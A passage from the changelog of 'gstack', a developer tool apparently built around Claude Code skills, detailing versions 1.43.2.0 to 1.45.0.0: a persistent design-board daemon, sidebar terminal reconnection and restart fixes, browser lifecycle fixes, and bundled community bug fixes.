- `--catalog-mode=full` build flag — restores v1.44 legacy multi-line catalog descriptions. Use when debugging routing regressions or when shipping skills to hosts that depend on the legacy fat catalog.
- `--explain-level=terse` build flag — opt-in compression of `## Writing Style` + `## Completeness Principle` + `## Confusion Protocol` + `## Context Health` preamble sections. Default build keeps the runtime-conditional behavior intact (the model still skips when `EXPLAIN_LEVEL: terse` appears in the preamble echo); terse build makes the compression structural.
- `EVALS_BUDGET_HARD_CAP` environment variable (umbrella $30 default) + per-suite `EVALS_BUDGET_HARD_CAP_GATE=$25`, `EVALS_BUDGET_HARD_CAP_PERIODIC=$70`. Build fails if a single run exceeds; `EVALS_BUDGET_OVERRIDE_REASON` env unblocks + audit-logs.

**Changed**
- Skill frontmatter `description:` blocks across 51 skills trimmed to a single lead sentence + `(gstack)` tag. Routing prose ("Use when asked to...", "Proactively suggest...") and voice triggers moved to a `## When to invoke` body section in each SKILL.md. Always-loaded catalog cost drops ~56%.
- Jargon list (`scripts/jargon-list.json`, 80 terms) no longer inlined into every tier-2+ skill. `## Writing Style` now references the JSON path; agents Read it once per session on first jargon term encountered. Saves ~70 KB of duplicated text across the corpus.
- `ResolverEntry` union type in `scripts/resolvers/types.ts` + `unwrapResolver` helper. Resolvers can now be either bare functions (current behavior) or `{ resolve, appliesTo? }` gated entries. `scripts/gen-skill-docs.ts:444` checks the gate before invocation. Infrastructure for future per-skill resolver gating; all current resolvers stay bare functions and work unchanged.
- `TemplateContext` gains an optional `explainLevel: 'default' | 'terse'` field threaded from the `--explain-level` build flag.

**Fixed**
- Catalog descriptions no longer collide with adjacent YAML fields (initial implementation produced `description: ... (gstack)allowed-tools:` with no newline; fixed by appending `\n` to the replacement).

**For contributors**
- New skills require an entry in `test/skill-coverage-matrix.ts` — at minimum referencing `test/skill-coverage-floor.test.ts` in `gate[]`. The CI gate at `test/skill-coverage-matrix.test.ts` fails fast on missing entries.
- New must-preserve invariants for a skill family go in `PARITY_INVARIANTS` in `test/helpers/parity-harness.ts`. Adding invariants is additive; removing one is a deliberate scope decision.
- The `scripts/jargon-list.json` is the canonical glossary. Add terms there; gen-skill-docs picks them up automatically on next regen.
- `test/fixtures/parity-baseline-v1.44.1.json` is the locked v1→v2 reference. Do not modify; capture new snapshots at later tags via `bun run scripts/capture-baseline.ts --tag <name>`.

## [1.45.0.0] - 2026-05-25

## **Design boards now live 24 hours, not 10 minutes. One daemon hosts every board, one tab survives the whole day.**

Run `$D compare --serve` and you get a persistent design daemon at `.gstack/design.json` instead of a fresh process per call. Open three design sessions across an afternoon and they all land at `/boards/<id>/` on the same port. The browser tab you opened first still works for the board you published an hour later. The idle timeout went from 10 minutes (the old per-process server) to 24 hours of inactivity (the daemon's lifetime). Submit a board, the URL stays accessible until the daemon idles out, so you can scroll back through the day's design history at `http://127.0.0.1:N/`.

Skill invocations (`/design-shotgun`, `/design-consultation`, `/plan-design-review`, `/design-review`, `/office-hours`) keep calling `$D compare --serve` exactly the same way. The CLI shape is unchanged. What's different is the binary now self-execs into daemon mode under the hood, attaches to a running daemon if one is there, spawns a fresh one if not, and prints `BOARD_PUBLISHED: http://127.0.0.1:N/boards/<id>/` to stderr so the skill can echo the URL. The legacy `--no-daemon` flag preserves the old single-process behavior for tests and debugging.

### The numbers that matter

Source: `bun test design/test/` and `git diff origin/main...HEAD --stat`.

| design/src/daemon-client.ts| ~340      | 23 tests   |
| design/src/daemon-state.ts | ~180      | (via client + daemon tests; direct stale-lock reclaim coverage) |
| Browser round-trip via HTTP| (existed) | 4 tests    |

The compression: 61 new tests cover every endpoint, lifecycle path, LRU eviction, real idle-shutdown behavior (spawn-based, daemon process observed exiting after `IDLE_MS`), the bare-GET-doesn't-reset-idle invariant (poll loop in background, daemon still idles out), the idle-with-active-boards extension path with `MAX_EXTENSIONS` hard ceiling, concurrent-CLIs lock race (two parallel `ensureDaemon` calls converge on one daemon), identity-verified spawn, version mismatch with and without active boards, PID-reuse safety, path traversal rejection, malformed-body negatives on every POST, and cross-board feedback isolation. The plan-review pass caught 2 architectural issues in-house; an outside Codex pass caught 17 more, all absorbed into the implementation before any code was written; the /ship review army caught 1 backwards-compat break in skill resolvers (fixed) + 5 deferred test gaps (filled). The version-mismatch path now refuses to silently kill a daemon with active boards (it prints a warning and exits 1), so upgrading gstack mid-design-session doesn't drop your in-memory board history.

### What this means for the builder

Open `/design-shotgun` Monday morning, work through three rounds of variants, walk away for lunch, come back, click Submit. The board is still there. Open a second `/design-shotgun` for a different feature in the afternoon, get a new URL at `/boards/<another-id>/`, no port churn, your morning board still works. The whole day's worth of design exploration accumulates as a browsable history at the daemon's root. Stop worrying about the 10-minute death clock.

### Itemized changes

#### Added
- **Persistent design daemon** (`design/src/daemon.ts`). Bun HTTP server on `127.0.0.1` hosting many boards under `/boards/<id>/`. Per-board state machine (`serving | regenerating | done`), LRU cap of 50 boards (evicts `done` first, returns 503 when 50 non-done coexist), 24h idle timeout with 1h extensions up to a 28h ceiling when boards are still active, per-board async mutex serializing feedback POST vs reload POST. Index page at `/` lists recent boards newest first.
- **`$D daemon status`** and **`$D daemon stop [--force]`**. The stop sub-command refuses without `--force` when active boards exist, so a casual stop doesn't drop in-flight history.
- **Daemon client** (`design/src/daemon-client.ts`). `ensureDaemon()` handles spawn-or-attach with file-lock-protected spawn (re-reads state inside the lock to close the two-CLIs-race window) and identity-verified SIGTERM (reads `/proc/PID/cmdline` on Linux, `ps -p PID -o command=` on macOS, only signals if `gstack-design-daemon` is in the cmdline). PID-reuse safety: if the state file points at a PID belonging to an unrelated process, no signal is sent and a fresh daemon spawns. Version-mismatch refusal: if a CLI from a newer gstack version arrives while boards are still open in an older daemon, the CLI prints a user-actionable warning and exits 1 instead of silently restarting and losing history.
- **Shared daemon state utilities** (`design/src/daemon-state.ts`). Atomic state-file write (`<tmp>` + `renameSync` at mode `0o600`), `fs.openSync('wx')` exclusive lock, cross-platform cmdline reader, version lookup that falls back through `DESIGN_DAEMON_VERSION` env → `design/dist/.version` baked at build time → source-tree `VERSION` → `"unknown"`.
- **End-to-end round-trip tests against a real spawned daemon** (`design/test/feedback-roundtrip-daemon.test.ts`). HTTP fetch drives publish → submit → regenerate → reload → round-2 submit, asserting `feedback.json` lands at the daemon-derived `sourceDir` with `boardId` and `publishedAt` augmented fields.

#### Changed
- **Board JS uses relative URLs** instead of an injected `__GSTACK_SERVER_URL` global. The same generated HTML works at `/` (legacy `--no-daemon`) and `/boards/<id>/` (daemon). `location.protocol` feature-detect keeps the `file://` DOM-only fallback path working.
- **Bare `GET /boards/<id>` returns 301** to `/boards/<id>/`. The trailing slash is load-bearing for relative-URL resolution in the board JS; without it, `fetch('./api/feedback')` would resolve to the wrong scope.
- **Reload guard rejects directory paths**. `design/src/serve.ts:200-212` previously let `resolvedReload === allowedDir` through, which then crashed `readFileSync` with `EISDIR`. Now requires `statSync(resolvedReload).isFile()` with a clear 400 instead.
- **Feedback files carry `boardId` and `publishedAt`** so agents polling `feedback.json` / `feedback-pending.json` in a multi-board world can verify which board produced what.
- **`sourceDir` is derived from `realpath(html)` server-side**, never trusted from the publish POST body.
- **Skill resolvers and templates** (`scripts/resolvers/design.ts`, `design-shotgun/SKILL.md`, `design-consultation/SKILL.md`, `plan-design-review/SKILL.md`, `office-hours/SKILL.md`) updated to parse `BOARD_URL:` from stderr and POST reloads to `${BOARD_URL}api/reload` instead of the legacy port-only `/api/reload`. Legacy `SERVE_STARTED: port=N html=...` line still emitted for back-compat.

#### Fixed
- **Compiled design binary self-execs as the daemon** via a `--daemon-mode` flag, so the daemon lifecycle works for users installing from `design/dist/design` (not just `bun run` against the source tree).
- **Version lookup** is consistent between client and daemon. Both go through `readVersionString()`, so the version-mismatch refusal path works on the compiled binary instead of always reading `"unknown"` and matching itself.

#### For contributors
- **Test infrastructure split**: `design/test/daemon.test.ts` (30 in-process tests against the exported `fetchHandler`, ~70ms) for fast iteration; `design/test/daemon-discovery.test.ts` (17 real-spawn tests, ~8s) for lifecycle + lock + identity guarantees. Shared helpers in `design/test/daemon-tests-fixtures.ts`.
- **Plan-review process**: this branch ran `/plan-eng-review` twice. Round 1 caught 2 architecture findings. An outside-voice Codex pass after round 1 found 17 more (URL contract self-contradiction, false test-green claim, lock semantics, identity verification, version-mismatch silent data loss, several others). Round 2 absorbed all 17 before implementation started. The full review trail is preserved in the plan file's `## GSTACK REVIEW REPORT` section.

## [1.44.1.0] - 2026-05-24

## **Nine community fixes ship in one bundle.** Office-hours session counter works again, iOS QA tunnels survive macOS 26.x, Windows brain-sync stops dropping artifacts, browse server tells you whether the bind failure was a port collision or a sandbox block.

The fix wave pattern runs its second pass after v1.43.2.0's 15-PR Daegu wave. Nine contributor PRs land in eleven commits plus a merge from new main. Each cherry-pick routes through `git cherry-pick` per-commit so contributor authorship survives in `git log --author`, with `Co-Authored-By` trailers for GitHub's contribution UI. Wave-meta files (VERSION, CHANGELOG, version-only `package.json` bumps) stripped per cherry-pick so the wave owns its own bump cleanly.

The triage caught a real failure mode mid-flight. An initial scope of 18 PRs went through Codex review as outside voice; Codex flagged that 9 of the 18 had already shipped via v1.43.2.0 or sibling commits. Verified against current main (`bin/gstack-gbrain-sync.ts:404` already wraps `{sources:[...]}`, `browser-manager.ts:30` already has `isCustomChromium`, `server.ts:209` already has `ownsTerminalAgent`). Recompute trimmed the wave from 18 to 9, saving nine empty cherry-picks and nine misleading "landed in" close comments to contributors whose work had already merged via another route.

### What this means for contributors

Your fix lands as a commit with your name in `git log --author=<your-handle>`. If your PR had multiple commits, each lands separately so dates and trailers survive. If your fix was the same as something that shipped via another route in v1.43.2.0, you get a close comment pointing at the CHANGELOG line that credits you by name. The recompute step that catches duplicates is now part of every future fix wave.

### Itemized changes

**Added**
- `/investigate` freeze hook resolves on standalone marketplace installs. Falls back through both bundled and standalone freeze-bin paths instead of crashing on a hardcoded `../freeze/` lookup. Closes #1647. Contributed by @Gujiassh via PR #1648.
- `gstack-next-version --version-path` flag plus `.gstack/version-path` config: monorepo VERSION layouts now work. Contributed by @cfeddersen via PR #1627.

**Fixed**
- `/office-hours` SESSION_COUNT stuck at 0 since v1.0. Writer wrote to legacy `builder-profile.jsonl`, reader read from new `developer-profile.json`. Reader-path auto-migrates existing legacy data on first call; existing users keep their session history. 33 regression tests plus a static-grep invariant pinning the no-legacy-writes contract. Closes #1671, #1677. Contributed by @pryow via PR #1676.

## [1.44.0.0] - 2026-05-23

## **Sidebar Claude Code now survives the day.** WebSocket keepalive, transparent re-attach across network blips with scrollback intact, and a restart button that actually kills the old claude before spawning the new one. Outer supervisor opt-in so the browse server itself can crash and recover without you noticing.

The sidebar's embedded `claude` PTY used to stop connecting after a while, and the Restart button only closed the client-side WebSocket without killing the running process. Closing the browser left zombie claude processes alive for minutes. None of that any more.

Five compounding timeouts on the v1.43 path: PTY session token TTL was 30 minutes with no refresh, no WebSocket keepalive (NAT idle timeouts of 30-60s silently dropped connections), the server's 30-minute idle timeout didn't account for active PTY sessions, the sidebar gave up after 15 seconds on cold start, and there was no auto-reconnect after a WS close. On top of that, a `pkill -f terminal-agent\.ts` regex in the agent teardown matched sibling gstack sessions on the same host. All six fixed.

### The numbers that matter

Source: 13 bisect commits on this branch (`git log v1.43.3.0..HEAD --oneline`), 12 new test files, 83 new unit-tier static-grep + behavioral tests; full `bun test` suite green. Live re-attach behavior runs against `GSTACK_PTY_DETACH_WINDOW_MS=1000` so the 60s detach window verifies in <2s of CI time.

| Surface | Before | After |
|---|---|---|
| Sidebar idle 5 min, then keystroke | Reconnect spinner, ~3s to first byte | Immediate output — WS keepalive kept the socket alive |
| Wifi blip mid-session | "Session ended" — click Restart, lose scrollback | Silent re-attach within 8s, scrollback intact, keep typing |
| Click Restart with claude mid-task | Old claude killed asynchronously; race window with new spawn; user must type a key to see new prompt | Server disposes old PTY synchronously, mints new lease in one transaction, eager `{type:"start"}` boots claude before the prompt renders |
| Close sidebar / quit browser | Zombie claude lingers for 60s (detach window) | `pagehide` sendBeacon `/pty-dispose` cleans up immediately |
| Terminal-agent dies (OOM, signal) | Sidebar shows broken connection until manual reload | 60s watchdog with PID-liveness check (no split-brain) respawns agent automatically; 3-in-60s crash-loop guard |
| Browse server itself crashes | Headed browser orphaned, manual `$B connect` re-run | Opt-in `$B connect --supervise` keeps CLI attached, respawns server with 1s/2s/4s/8s/30s backoff, 5-in-5min guard |
| Two `$B connect` sessions on same host | Restart in session A kills session B's terminal-agent via `pkill -f` regex match | Identity-based `process.kill(pid)` against a per-boot agent record. Static-grep test fails CI if `pkill -f terminal-agent` reappears anywhere in source |
| PTY token leakage in logs / DevTools | Bearer token doubled as session identifier (codex outside-voice flagged it) | Stable non-secret `sessionId` separated from short-lived `attachToken`; lease lifecycle owns session liveness |

### What this means for you

Open the sidebar once. Use it. Close your laptop. Wake up tomorrow. Type a key. It just works. The whole "the terminal stopped working, let me reload the sidebar" reflex you've built up over the v1.40s — you don't need it any more.

### Itemized changes

#### Added

- **Long-lived PTY connection (`browse/src/terminal-agent.ts`, `extension/sidepanel-terminal.js`)** — 25s WebSocket keepalive ping/pong cycle from both sides. NAT idle drops and Chrome MV3 panel-suspend cycles no longer silently kill the socket. Env-overridable via `GSTACK_PTY_KEEPALIVE_INTERVAL_MS`.
- **Session lease + attachToken model (`browse/src/pty-session-lease.ts`)** — Stable non-secret `sessionId` separated from short-lived secret `attachToken`. Re-attach within the lease window refreshes a fresh `attachToken` bound to the same `sessionId`; session identity stays loggable, bearer credential stays out of logs.
- **Scrollback replay on re-attach (`browse/src/terminal-agent.ts`)** — 1 MB frame-based ring buffer per session with ESC-boundary scan and alt-screen tracking (`CSI ?1049h/l`). On re-attach, client writes RIS (`\x1bc`) to xterm, server prepends DECSTR soft reset + optional alt-screen re-enter + ring buffer. Replay renders cleanly even mid-tool-call. Env-overridable via `GSTACK_PTY_RING_BUFFER_BYTES`.
- **60s detach window with re-attach (`browse/src/terminal-agent.ts`)** — WS close with any code other than 4001 (intentional), 4404 (no-claude), or 1000 (clean exit) keeps the PTY alive for 60s. New WS upgrade matching the same sessionId resumes the same `claude` process. Env-overridable via `GSTACK_PTY_DETACH_WINDOW_MS`.
- **Working Restart button (`browse/src/server.ts`, `extension/sidepanel-terminal.js`)** — `POST /pty-restart` is one transaction: dispose old session scope-to-sessionId, revoke old lease, mint fresh sessionId + lease + attachToken, return the 4-tuple. Client sends `{type:"start"}` immediately on the new WS for eager spawn — no keystroke required.
- **Explicit dispose on sidebar close (`extension/sidepanel.js`)** — `pagehide` handler fires `navigator.sendBeacon('/pty-dispose', {sessionId, authToken})` so browser quit / panel close / extension reload disposes the session immediately. Server route accepts auth token in the body (sendBeacon-compatible — no custom headers).
- **PID-identity terminal-agent kill (`browse/src/terminal-agent-control.ts`)** — Replaces `pkill -f terminal-agent\.ts` regex teardown. Agent writes `<stateDir>/terminal-agent-pid` (JSON `{pid, gen, startedAt}`) at boot; `cli.ts` and `server.ts` use `killAgentByRecord` instead. Static-grep tripwire test fails CI if the regex pattern returns to source.
- **Terminal-agent watchdog (`browse/src/server.ts`)** — 60s ticker checks recorded agent PID via `process.kill(pid, 0)`. Respawns on dead PID via shared `spawnTerminalAgent` helper. 3-in-60s crash-loop guard with rolling window. Slow-but-alive agents intentionally fall through (split-brain defense). Env-overridable via `GSTACK_AGENT_WATCHDOG_TICK_MS`.
- **Outer browse-server supervisor (`browse/src/cli.ts`)** — `$B connect --supervise` (or `BROWSE_SUPERVISE=1`) keeps the CLI attached, polls server PID every 30s, respawns on unexpected exit with 1s/2s/4s/8s/30s backoff. SIGINT/SIGTERM cleanly teardown the supervised server. Opt-in — default `$B connect` behavior unchanged for every existing caller.
- **Patient `tryAutoConnect` (`extension/sidepanel-terminal.js`)** — Replaces the 15s give-up with indefinite 2s polling. Ascending status messages at 15s / 60s / 5min so the user knows we're still trying. Sticky-abort only on 401 (auth invalid), cleared by explicit Restart click.
- **`/internal/healthz` route + `internalHandler<T>` helper (`browse/src/terminal-agent.ts`)** — Liveness probe used by the watchdog (returns pid/gen/sessions count, doesn't touch claude binary lookup). Helper collapses four `/internal/*` routes' bearer-auth + X-Browse-Gen check + JSON parse into one-liner calls.

#### Changed

- **`/pty-session` response shape (`browse/src/server.ts`)** — Now returns `{terminalPort, sessionId, attachToken, leaseExpiresAt}`. Legacy `ptySessionToken` + `expiresAt` aliases preserved for one minor release.
- **`ServerConfig.ownsTerminalAgent` teardown** — Now runs four side effects (was three): identity-based kill via `killAgentByRecord`, plus unlinks for `terminal-port`, `terminal-internal-token`, and the new `terminal-agent-pid`. Documented in CLAUDE.md.

#### Fixed

- **Sibling gstack sessions killed by `pkill -f terminal-agent\.ts`** — Pre-v1.44 the teardown matched argv regex; any process whose command line contained `terminal-agent.ts` got SIGTERM'd. Closes the TODOS.md P3 item filed during v1.41 (`Identity-based terminal-agent kill`).
- **Seven pre-existing test failures unrelated to this branch** — Three env-pollution failures (Bun's `Bun.which('bash')` returning null and `Bun.spawn(['bun', ...])` ENOENT after a sibling test mutated `process.env.PATH`), two stale-marker failures in `server-auth.test.ts` (`'Sidebar agent started'` → `'Terminal agent started'`), `setup-codesign.test.ts` looking for the unwrapped `bun run build` string (now `bun_cmd run build`), and `upgrade-migration-v1.test.ts` reading the developer's real config because it didn't override `HOME`. Fixed via a narrow global `test-setup.ts` (restores PATH only after every test) plus targeted marker + env-passing fixes.

#### For contributors

- **Test framework `bunfig.toml` + `test-setup.ts`** — Global afterEach restores `process.env.PATH` only. Narrow on purpose — broader snapshot/restore breaks tests that legitimately set `process.env.GSTACK_HOME` at module load (`domain-skills-storage.test.ts`).
- **12 new test files, 83 new unit-tier tests.** Static-grep tripwires defend the load-bearing protocol contracts (close codes, lease lifecycle, watchdog identity check, supervisor crash-loop guard, ring buffer ESC boundaries) without paying for live WebSocket cycles in CI.
- **Eng review + outside voice (codex) ran on this branch.** 17 decisions baked: 10 from the in-review architecture pass (D1-D10), 6 from codex cross-model tension resolution (T1-T6, all adopted in codex's favor — most consequential was T1, separating sessionId from auth token), and 1 from in-PR scope-up of the outer supervisor.

## [1.43.3.0] - 2026-05-21

## **Headed Chromium embedded by external supervisors stops auto-shutting-down after 30 minutes of HTTP idle.**
## **Four module-level lifecycle handlers in `browse/src/server.ts` now read through an `activeBrowserManager` indirection so embedders (gbrowser's phoenix overlay) reach the right `BrowserManager` instance instead of the dead module-level one.**

The dual-instance bug surfaced when a Codex plan review caught what the static eng review missed: `idleCheckTick`, the parent-process watchdog, the SIGTERM handler, and `onDisconnect` wiring all read the module-level `BrowserManager` directly. Embedders pass their own instance into `buildFetchHandler({ browserManager: ... })`, so the module-level instance never has `launchHeaded()` called on it. Its `connectionMode` stays `'launched'` forever, headed-mode early-returns never fire, and after 30 minutes of HTTP idle the server kills itself out from under a still-open overlay window. The onDisconnect leak — window-close cleanup running against the wrong instance — was masked by the 30-min auto-shutdown until this fix; both ship together because they share a single root cause.

The fix introduces `let activeBrowserManager: BrowserManager` at module scope, symmetric with the existing `let activeShutdown` pattern. `buildFetchHandler` retargets it at `cfg.browserManager` and CHAINS `cfg.browserManager.onDisconnect` to `activeShutdown` instead of overwriting any handler the caller already installed. Caller exceptions are logged but never block gstack shutdown — defensive symmetry with `safeUnlinkQuiet` / `safeKill` in `error-handling.ts`. Caller-set onDisconnect handlers run first so embedders can snapshot or log before the process exits; gstack's shutdown owns `process.exit(code)` and runs last.

### The numbers that matter

Source: `bun test browse/test/server-factory.test.ts` — 33 tests, all green. New describe block `idle timer + onDisconnect dual-instance fix` pins five behavioral guarantees plus a static guard.

| Surface | Before | After |
|---|---|---|
| gbrowser overlay session, headed, 31 min HTTP idle | Server self-terminates; overlay window orphaned | Server stays alive; idleCheckTick reads cfg-instance and returns early |
| Headless CLI, 31 min idle | Auto-shutdown (regression-protected by Test 2) | Same behavior, regression test added |
| Tunnel-active session, headless, 31 min idle | Auto-shutdown skipped (already correct) | Same; Test 4 pins it behaviorally |
| Window-close on embedder-owned headed window | `browserManager.onDisconnect` fires on dead module-level instance; no cleanup | `cfgBrowserManager.onDisconnect` chained to activeShutdown; full cleanup runs |
| Embedder pre-installed onDisconnect handler | Silently overwritten by `buildFetchHandler` | Chained: caller's handler runs first, then gstack shutdown |
| SIGTERM in headed mode (embedder) | Reads stale module-level instance (Codex-caught, original plan missed) | Reads via `activeBrowserManager` |

The static guard (Test 5) counts `activeBrowserManager.getConnectionMode()` calls outside `buildFetchHandler` and pins the count at exactly 3 — `idleCheckTick`, the parent watchdog, and the SIGTERM handler. A future refactor that reintroduces a stale read against module-level `browserManager` at one of those sites fails CI before the user-visible bug returns.

### What this means for gbrowser

gbrowser's phoenix overlay can hold a headed Chromium window open indefinitely without gstack pulling the rug out at the 30-minute mark. Window-close cleanup reaches the right `BrowserManager` instance, so terminal-agent, profile locks, and state files all get torn down against the cfg-owned chrome rather than the dead module-level one. Embedders that pre-wire `cfg.browserManager.onDisconnect` for their own pre-shutdown work (logging, snapshotting, gbd handoff) now have that handler preserved instead of clobbered. gbrowser bumps its gstack submodule SHA after this lands; no gbrowser-side code changes required.

### Itemized changes

#### Fixed

- **`browse/src/server.ts`**: Six edit sites apply the indirection.
  - Edit 1 (line ~705): Declared `let activeBrowserManager: BrowserManager = browserManager;` alongside the module-level `const browserManager`. Module-level `browserManager.onDisconnect` default wire stays in place as the safety net for the CLI flow before `buildFetchHandler` runs.
  - Edit 2 (line ~596): Extracted the idle-check setInterval callback into a named `idleCheckTick()` function so behavioral tests can drive it directly. Reads `activeBrowserManager.getConnectionMode()`.
  - Edit 3 (line ~658): Parent watchdog now reads `activeBrowserManager.getConnectionMode()`.
  - Edit 4 (inside `buildFetchHandler`, line ~1387): Retargets `activeBrowserManager` at `cfgBrowserManager` and CHAINS the cfg-instance's onDisconnect to `activeShutdown` (preserving any caller-installed handler). Replaces what would have been a bare `cfg.onDisconnect = ...` clobber — caught by Codex against an earlier draft.
  - Edit 5 (no code change): Confirmed the module-level `browserManager.onDisconnect` at line 714 stays in place.
  - Edit 6 (line ~1212): SIGTERM handler reads `activeBrowserManager.getConnectionMode()`. Caught by Codex; the original eng-review plan missed this fourth lifecycle site.
- **`__testInternals__` export**: New test-only surface in `browse/src/server.ts` exposing `idleCheckTick`, `setTunnelActive`, `setLastActivity`, and `resetShutdownState`. Lets tests exercise the dual-instance behavior deterministically without mutating `Date.now` globally (which would interact with the leaked module-level setInterval) or leaking `isShuttingDown` state between tests.

#### Added

- **`browse/test/server-factory.test.ts`**: New `idle timer + onDisconnect dual-instance fix` describe block with five behavioral tests. Reuses the existing `makeMinimalConfig()` + `__resetRegistry()` patterns from the factory contract tests; new `makeMockBrowserManager()` helper. Tests T1 (REGRESSION — headed embedder does not auto-shutdown), T2 (paired defensive — headless still shuts down), T3 (chain semantics — caller-set onDisconnect preserved + async via `.rejects.toThrow`), T4 (tunnelActive blocks shutdown), T5 (static guard — exactly 3 lifecycle sites use the indirection).

#### Changed

- **`browse/test/sidebar-ux.test.ts`**: Deleted the old `idle check skips in headed mode` string-grep test at line 1596 — it grepped for `=== 'headed'` + `return` and would have passed even with the dual-instance bug present. Behavioral coverage moved to `server-factory.test.ts` per Codex finding (duplicating partial test helpers across files rots; the factory test file already solved minimal-cfg + registry-reset).

#### For contributors

- **Cross-model review note**: The eng review's static-assessment pass said "0 issues" in Architecture, Code Quality, and Performance. Codex's plan review then grounded six issues in actual code reads: Bun memoizes dynamic imports (so `await import('../src/server')` doesn't give fresh module state per test), `initRegistry` throws on token-reuse between tests, `shutdown()` is async (sync `.toThrow()` cannot catch the rejection), `cfg.browserManager.onDisconnect` is a public field that callers may set, the original plan missed the SIGTERM site at line 1186, and tests belong in `server-factory.test.ts` not `sidebar-ux.test.ts`. All six were verified against the actual code and incorporated into the shipped plan. The static eng review's blind spot here was runtime/module-cache semantics; the lesson is that "0 issues" from a static pass is a weaker signal than two-model consensus.

## [1.43.2.0] - 2026-05-21

## **Three flagship workflows stop lying to users: /retro detects stale base before fabricating a narrative, /sync-gbrain resumes from gbrain's checkpoint instead of restarting the 35-min import loop, and /review forces every finding to quote the code line that motivates it.**
## **15 community PRs plus the silent-failure trio land in one bundle: 26 bisect commits with regression tests pinning every fix.**

The post-Daegu wave. v1.42.0.0 closed 23 user-filed bugs two days ago; this wave closes 18 more (15 community PRs + 3 self-filed silent-failure issues) in the same one-PR pattern. The headline change is what stops happening: `/retro` no longer renders a confidently-wrong retro narrative when the date window is wrong, `/sync-gbrain --full` no longer SIGTERMs at exactly 35 minutes with no resume path on big brains, and `/review` no longer ships finding lists where half the items are framework FPs the reviewer never grep'd to confirm.

### The numbers that matter

Source: `git log v1.42.2.0..HEAD --oneline` (26 commits) plus the test sweep across all wave-touched files.

| Surface | Before | After |
|---|---|---|
| `/retro` on a Conductor worktree whose `origin/<default>` is days behind the actual remote, OR with a session-context-drift "today" anchor | Silently produces a clean-looking retro from zero or near-zero commits — confidently misses the last 5 days of work. The user only notices when version-bumping for the next PR (#1624) | Step 0.5 pre-flight guard runs four ordered checks: no-remote skip, detached-HEAD skip, fetch-fail warn (offline), and stale-base BLOCK with explicit citation of the latest-commit date. Skip paths surface the disclosure into the retro narrative ("offline run, window not freshness-verified") instead of pretending nothing happened. |
| `/sync-gbrain --full` on a 2000-file brain | SIGTERMs at hardcoded 35min (exit 143). gbrain leaves `~/.gbrain/import-checkpoint.json` pointing at the staging dir, but the memory-ingest child cleans the dir up on SIGTERM. Every retry restages from scratch and SIGTERMs again forever (#1611) | Bounds-checked env vars: `GSTACK_SYNC_MEMORY_TIMEOUT_MS` and `GSTACK_SYNC_CODE_TIMEOUT_MS` (60_000–86_400_000ms range; bad values warn + default). SIGTERM preserves the staging dir when gbrain has checkpointed it. Next run reads gbrain's own checkpoint and resumes from processedIndex+1. If the staging dir is gone (disk pressure cleanup, OS reboot, user manual cleanup), warn one line and restage from scratch. Reuses gbrain's checkpoint as source of truth — no double-store. |
| `/review` on a Django + DRF repo | 4 of 8 findings FP — "field doesn't exist on model", "dict.get() might be None", "save() might lose fields", "update_fields might miss X". Each resolvable in <5 min by reading the actual model code, but the reviewer didn't (#1539) | Pre-emit verification gate: every finding requires file:line + verbatim text of the line that motivates it. Unverified findings forced to confidence 4-5, where the existing "<7 → suppress" rule auto-fires. The four named FP classes collapse because they all require quoting code that doesn't actually exist. Framework-meta nudge guides the reviewer to quote Django Meta / Rails associations / SQLAlchemy relationships / TypeORM decorators / Sequelize init / Prisma generated client when the symbol is metaclass-generated. Deeper ORM-aware verification deferred to a future wave (design doc at `~/.gstack-dev/plans/1539-framework-aware-review.md`). |
| `/sync-gbrain --full` on a freshly-registered code source (0 pages) | Calls `gbrain reindex-code` which only re-embeds existing pages, finds nothing ("No code pages to reindex"), finishes in ~1s, leaves the code index permanently empty while reporting OK | Runs `gbrain sync --strategy code` first (the page-creating walk), then `reindex-code`. Honors the documented "full walk + reindex" contract for both fresh and populated sources. Contributed by @jetsetterfl via PR #1584. |
| `gbrain doctor` inside a repo with its own `DATABASE_URL` in `.env` | Bun autoloads the project's `.env`; gbrain connects to the wrong DB; classifier reports `broken-db` on otherwise-healthy brains; cached for 60s, poisoning every probe from anywhere | Probe routes through `buildGbrainEnv`, the same helper the sync orchestrator uses. `DATABASE_URL` is seeded from `~/.gbrain/config.json`. Result is cwd-independent — the 60s cache can no longer propagate a poisoned negative to clean directories. Contributed by @jetsetterfl via PR #1583. |
| `/sync-gbrain` against a Supabase PgBouncer transaction-mode pooler | Sync fails with prepared-statement errors mid-stream; PgBouncer transaction mode doesn't support session-level prepared statements | Detects the transaction-mode pooler and sets `GBRAIN_PREPARE=true` so gbrain falls back to compatible statement handling. Closes #1435. Contributed by @mikeangstadt via PR #1591. |
| Newly-provisioned Supabase project's DATABASE_URL from `supabase projects api` | Returns the transaction-mode pooler URL (port 6543); gbrain sync fails with "prepared statement does not exist" | Rewrites to the session-mode pooler URL (port 5432) for new projects. Closes #1301. Contributed by @0xDevNinja via PR #1582. |
| `bun run benchmark prompt.txt --models claude` | argv parser treats `claude` as the positional prompt and `prompt.txt` as a flag value, silently runs benchmarks on the wrong model | Flag values and positional prompts parsed in the right order. Closes #1603. Contributed by @jbetala7 via PR #1604. |
| `gstack-config get explain_level` | Returns empty — the key wasn't in the defaults table, so every preamble that read it fell into the writing-style default branch even when the user had set terse | Returns `default`, shows up in `gstack-config list` and `gstack-config defaults`. Closes #1607. Contributed by @jbetala7 via PR #1608. |
| `gstack-learnings-search --cross-project` from inside a project | Cross-project search hid current-project learnings — the find filter excluded `*/$SLUG/*` and the bash branch never restored them | Current-project entries explicitly tagged `current\t<line>` and merged with cross-project entries tagged `cross\t<line>` before the bun block parses them. Closes #1618. Contributed by @jbetala7 via PR #1619. |
| `gh pr merge` exits non-zero in `/land-and-deploy` | Skill stops, deploy never runs — but the PR may already be MERGED server-side (concurrent merge, or local cleanup phase failed after the merge succeeded) | New §4a-postfail check queries `gh pr view --json state,mergeCommit` after any non-zero exit. MERGED → record merge SHA, offer non-destructive worktree cleanup with uncommitted-work guard, continue to §4a CI watch. OPEN → probe `autoMergeRequest`. CLOSED → STOP. Hard rule: never retry `gh pr merge`. Original diff by @davidfoy via PR #1620, re-authored into the `.tmpl` so the next `gen:skill-docs` doesn't overwrite the fix. |
| `gstack-config` slash command in Claude Code | `/gstack` returned "Unknown command" because the root SKILL.md had `name: gstack` but no slash alias registered | Setup registers a `_gstack-command` Claude wrapper pointing at the root SKILL.md, preserving `name: gstack` for discovery. Survives `gstack-relink` after `skill_prefix` flips. Closes #1543. Contributed by @jbetala7 via PR #1577. |
